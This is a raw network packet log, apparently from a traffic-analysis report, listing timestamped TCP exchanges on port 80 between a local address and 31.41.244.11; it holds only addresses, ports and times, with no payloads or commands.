Dec 13, 2024 01:51:11.327874899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.328644037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.328787088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.328849077 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.329636097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.329705000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.329754114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.329807997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.330600977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.330658913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.330705881 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.330760956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.331571102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.331630945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.331685066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.332040071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.332545996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.332602024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.332604885 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.332669973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.333524942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.333640099 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.333668947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.333724022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.334506035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.334646940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.334719896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.335478067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.335601091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.335689068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.336450100 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.336574078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.336636066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.337447882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.337599993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.337662935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.338398933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.338469982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.338517904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.338579893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.339354038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.339503050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.339593887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.339643002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.340332031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.340451002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.340468884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.340497017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.341352940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.341415882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.341458082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.341510057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.342319965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.342376947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.342417955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.342571020 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.343282938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.343341112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.343419075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.343571901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.344260931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.344392061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.344475031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.345246077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.345309019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.345362902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.345436096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.346187115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.346245050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.346318960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.346376896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.347167015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.347232103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.347273111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.347341061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.348126888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.348237038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.348253012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.348335028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.349107027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.349167109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.349221945 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.349275112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.350075960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.350133896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.350173950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.350230932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.351048946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.351104021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.351171970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.351217031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.352042913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.352153063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.352178097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.352232933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.353017092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.353153944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.353220940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.353986025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.354100943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.354171038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.354960918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.355097055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.355159998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.355954885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.356062889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.356122971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.356884003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.356945992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.498111963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.498137951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.498456955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.498471022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.498555899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.498567104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.498639107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.498836040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.499521017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.499620914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.499694109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.500540972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.500607014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.500653982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.501208067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.501517057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.501574993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.501844883 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.502484083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.502542019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.502567053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.503410101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.503470898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.503511906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.504389048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.504448891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.504498959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.504553080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.505367041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.505443096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.505487919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.505547047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.506329060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.506386042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.506459951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.506515980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.507292986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.507349968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.507395029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.507451057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.508294106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.508352041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.508421898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.508477926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.509301901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.509362936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.509377956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.509433031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.510235071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.510293007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.510335922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.510391951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.511187077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.511243105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.511292934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.511348963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.512171984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.512228966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.512274027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.512326956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.513139963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.513197899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.513247967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.513303995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.514137030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.514195919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.514240026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.514297009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.515116930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.515173912 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.515223980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.515280008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.516100883 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.516158104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.516176939 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.516233921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.517041922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.517097950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.517168999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.517222881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.518033981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.518090010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.518135071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.518188953 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.519033909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.519092083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.519113064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.519171953 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.519970894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.520030022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.520107985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.520163059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.520941973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.520997047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.521043062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.521097898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.521929979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.521986961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.522037029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.522090912 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.522929907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.522998095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.523041010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.523094893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.523888111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.523945093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.523998976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.524053097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.524872065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.524897099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.524925947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.524959087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.525805950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.525867939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.525916100 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.525970936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.526788950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.526846886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.526895046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.526957035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.527787924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.527867079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.527868032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.527919054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.528762102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.528846025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.528853893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.528939009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.529731989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.529798985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.529803038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.529851913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.530700922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.530812025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.530833006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.531086922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.531689882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.531728983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.531773090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.531804085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.532623053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.532751083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.532762051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.532819033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.533616066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.533674002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.533725023 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.533778906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.534617901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.534673929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.534725904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.534780025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.535577059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.535629988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.535666943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.535722971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.536546946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.536602974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.536695004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.536748886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.537575006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.537631989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.537651062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.537705898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.538515091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.538574934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.538598061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.538625956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.539518118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.539582014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.539627075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.539680958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.540451050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.540508986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.540519953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.540571928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.541423082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.541477919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.541553020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.541608095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.542423010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.542479038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.542512894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.542563915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.543370008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.543425083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.543467999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.543521881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.544795990 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.544850111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.544852018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.544903040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.545321941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.545388937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.545423985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.545564890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.546303034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.546360970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.546406031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.546458960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.547266960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.547332048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.547374964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.547430992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.548224926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.548280001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.548329115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.548382044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.690578938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.690742016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.690818071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.690841913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.690848112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.690908909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.690956116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.691009998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.691829920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.691884041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.691965103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.692015886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.692821026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.692877054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.692919970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.692969084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.693754911 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.693809032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.693880081 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.693929911 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.694782019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.694835901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.694874048 CET	80	49765	31.41.244.11	192.168.2.4
